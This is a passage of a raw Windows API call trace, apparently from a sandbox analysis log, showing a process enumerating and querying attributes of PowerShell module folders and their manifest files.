lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0193.866] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0193.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e85c) returned 1 [0193.866] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host"), fInfoLevelId=0x0, lpFileInformation=0x599eb20 | out: lpFileInformation=0x599eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0193.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e858) returned 1 [0193.867] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0193.867] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0193.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e85c) returned 1 [0193.867] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management"), fInfoLevelId=0x0, lpFileInformation=0x599eb20 | out: lpFileInformation=0x599eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0193.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e858) returned 1 [0193.867] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0193.867] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0193.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e85c) returned 1 [0193.867] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils"), fInfoLevelId=0x0, lpFileInformation=0x599eb20 | out: lpFileInformation=0x599eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0193.867] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e858) returned 1 [0193.867] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0193.867] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0193.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e85c) returned 1 [0193.868] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x599eb20 | out: lpFileInformation=0x599eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0193.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e858) returned 1 [0193.868] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0193.874] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0193.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e85c) returned 1 [0193.874] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility"), fInfoLevelId=0x0, lpFileInformation=0x599eb20 | out: lpFileInformation=0x599eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0193.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e858) returned 1 [0193.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0193.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0193.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e85c) returned 1 [0193.875] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management"), fInfoLevelId=0x0, lpFileInformation=0x599eb20 | out: lpFileInformation=0x599eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0193.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e858) returned 1 [0193.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0193.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x4f, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", lpFilePart=0x0) returned 0x4e [0193.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e85c) returned 1 [0193.875] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration"), fInfoLevelId=0x0, lpFileInformation=0x599eb20 | out: lpFileInformation=0x599eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0193.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e858) returned 1 [0193.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0193.875] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x41, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", lpFilePart=0x0) returned 0x40 [0193.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e85c) returned 1 [0193.875] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdiagnostics"), fInfoLevelId=0x0, lpFileInformation=0x599eb20 | out: lpFileInformation=0x599eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0193.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e858) returned 1 [0193.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0193.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x42, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", lpFilePart=0x0) returned 0x41 [0193.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e85c) returned 1 [0193.876] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psscheduledjob"), fInfoLevelId=0x0, lpFileInformation=0x599eb20 | out: lpFileInformation=0x599eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0193.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e858) returned 1 [0193.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0193.876] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0193.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e85c) returned 1 [0193.876] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x599eb20 | out: lpFileInformation=0x599eb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0193.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e858) returned 1 [0193.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599eb0c) returned 1 [0193.877] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0193.877] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0193.877] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\*", lpFindFileData=0x599e8bc | out: lpFindFileData=0x599e8bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3fdca8 [0193.877] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.877] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psd1", cAlternateFileName="")) returned 1 [0193.877] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 1 [0193.877] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 0 [0193.877] FindClose (in: hFindFile=0x3fdca8 | out: hFindFile=0x3fdca8) returned 1 [0193.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e87c) returned 1 [0193.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599eadc) returned 1 [0193.878] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0193.878] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0193.878] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0193.878] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0193.878] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0193.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e884) returned 1 [0193.878] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2578c60 | out: lpFileInformation=0x2578c60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0193.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e880) returned 1 [0193.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599eb0c) returned 1 [0193.878] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0193.878] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0193.879] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\*", lpFindFileData=0x599e8bc | out: lpFindFileData=0x599e8bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3fdca8 [0193.879] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0193.879] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 1 [0193.879] FindNextFileW (in: hFindFile=0x3fdca8, lpFindFileData=0x599e8c4 | out: lpFindFileData=0x599e8c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 0 [0193.879] FindClose (in: hFindFile=0x3fdca8 | out: hFindFile=0x3fdca8) returned 1 [0193.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e87c) returned 1 [0193.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599eadc) returned 1 [0193.879] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0193.879] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0193.879] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0193.879] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0193.879] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x388ba8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0193.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x599e884) returned 1 [0193.880] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x2579424 | out: lpFileInformation=0x2579424*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0193.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x599e880) returned 1 [0193.880] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0193.880] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", 